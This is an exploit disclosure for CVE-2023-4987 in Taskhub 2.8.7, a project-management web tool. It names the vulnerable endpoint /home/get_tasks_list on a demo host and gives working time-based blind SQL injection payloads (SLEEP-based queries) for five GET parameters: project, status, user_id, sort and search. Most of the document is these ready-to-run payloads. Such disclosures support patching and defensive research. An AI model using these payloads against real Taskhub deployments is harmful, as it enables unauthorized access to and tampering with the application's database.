Taskhub 2.8.7 SQL Injection Vulnerability

# Exploit Title: taskhub 2.8.7 - SQL Injection
# Exploit Author: CraCkEr
# Vendor: Infinitie Technologies
# Vendor Homepage: https://www.infinitietech.com/
# Software Link: https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874
# Demo: https://taskhub.company/auth
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4987
# CWE: CWE-89 - CWE-74 - CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /home/get_tasks_list

GET parameter 'project' is vulnerable to SQL Injection
GET parameter 'status' is vulnerable to SQL Injection
GET parameter 'user_id' is vulnerable to SQL Injection
GET parameter 'sort' is vulnerable to SQL Injection
GET parameter 'search' is vulnerable to SQL Injection


https://taskhub.company/home/get_tasks_list?project=[SQLi]&status=[SQLi]&from=&to=&workspace_id=1&user_id=[SQLi]&is_admin=&limit=10&sort=[SQLi]&order=&offset=0&search=[SQLi]


---
Parameter: project (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: project='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: status (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: project=&status='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: user_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: project=&status=&from=&to=&workspace_id=1&user_id=(SELECT(0)FROM(SELECT(SLEEP(8)))a)&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: sort (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=(SELECT(0)FROM(SELECT(SLEEP(6)))a)&order=desc&offset=0&search=

Parameter: search (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=') AND (SELECT(0)FROM(SELECT(SLEEP(7)))a)-- wXyW
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[-] Done